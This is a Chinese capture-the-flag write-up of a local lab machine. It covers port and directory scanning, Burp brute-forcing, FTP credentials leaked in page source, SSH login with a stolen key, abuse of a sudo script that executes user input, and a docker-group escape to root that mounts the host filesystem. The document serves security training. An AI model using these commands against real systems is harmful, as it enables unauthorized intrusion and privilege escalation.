nmap扫描端口 ---- gobuster扫描网站目录 ---- burp爆破网站目录 ---- 网站源代码泄露ftp用户名密码 ---- ariana用户用id_rsa进行ssh登录 ---- sudo bash脚本提权到selena ---- 利用docker越权查看文件
环境信息:靶机:192.168.101.107
攻击机:192.168.101.34
具体步骤: 1、nmap扫描sudo nmap -sC -sV -p- 192.168.101.107
扫描到21(ftp)、22(ssh)、80(http)端口
gobuster dir -u http://192.168.101.107 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
扫描到/nothing和/hidden_text
http://192.168.101.107/hidden_text/是一个目录,其中有一个文件secret.dic,看上去是个目录字典
http://192.168.101.107/hidden_text/secret.dic
用burp的intruder模块对网站目录进行爆破,爆破位置如下图所示
payload粘贴http://192.168.101.107/hidden_text/secret.dic中的内容
不要勾选URL-encode these characters
按Start attack开始爆破,爆破结果中只有/pwned.vuln状态码是301,其他都是404
访问http://192.168.101.107/pwned.vuln/,是一个登录页面,查看网页源代码发现被注释掉的php代码
上图红框中的代码泄露了用户名为ftpuser,密码为B0ss_B!TcH
但这对用户名密码无法用于网站登录,因此想到尝试ftp登录
ftp 192.168.101.107
用户名和密码分别为ftpuser和B0ss_B!TcH,登录成功,发现share文件夹,进入share文件夹后发现两个文件:
id_rsa和note.txt
下载这两个文件
ftp> get note.txt
ftp> get id_rsa
note.txt泄露了用户名ariana,可以猜测id_rsa属于ariana
ariana进行ssh登录
ssh -i id_rsa ariana@192.168.101.107
登录成功,得到第一个flag
执行sudo -l
发现ariana可以在不需要输入密码的情况下以selena的身份sudo执行/home/messenger.sh
/home/messenger.sh内容如下,$msg(也就是提示符"Enter message for $name :"之后输入的内容)将被作为bash命令执行
#!/bin/bash
clear
echo "Welcome to linux.messenger "
echo ""
users=$(cat /etc/passwd | grep home | cut -d/ -f 3)
echo ""
echo "$users"
echo ""
read -p "Enter username to send message : " name
echo ""
read -p "Enter message for $name :" msg
echo ""
echo "Sending message to $name "
$msg 2> /dev/null
echo ""
echo "Message sent to $name :) "
echo ""
sudo执行 /home/messenger.sh
sudo -u selena /home/messenger.sh
在提示"Enter username to send message : "后面随便输入些字母,然后在提示"Enter message for $name :"之后输入bash,即可进入selena的shell。
在/home/selena/user2.txt中有第二个flag
同时注意到,selena是docker组的用户。
在docker | GTFOBins中可以看到,当用户属于docker组时,有运行docker的权限,从而可以利用docker命令将靶机根目录挂载到靶机内某个新容器的目录下,进而利用容器的root用户越权查看靶机上的文件。
执行如下命令将靶机的根目录挂载到alpine镜像(不一定非要用这个镜像,只要是靶机上有的镜像就行,靶机上没有也可以从攻击机上下载)创建的新容器的/mnt目录,并将/mnt目录设置为根目录
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
在/root/root.txt中有第三个flag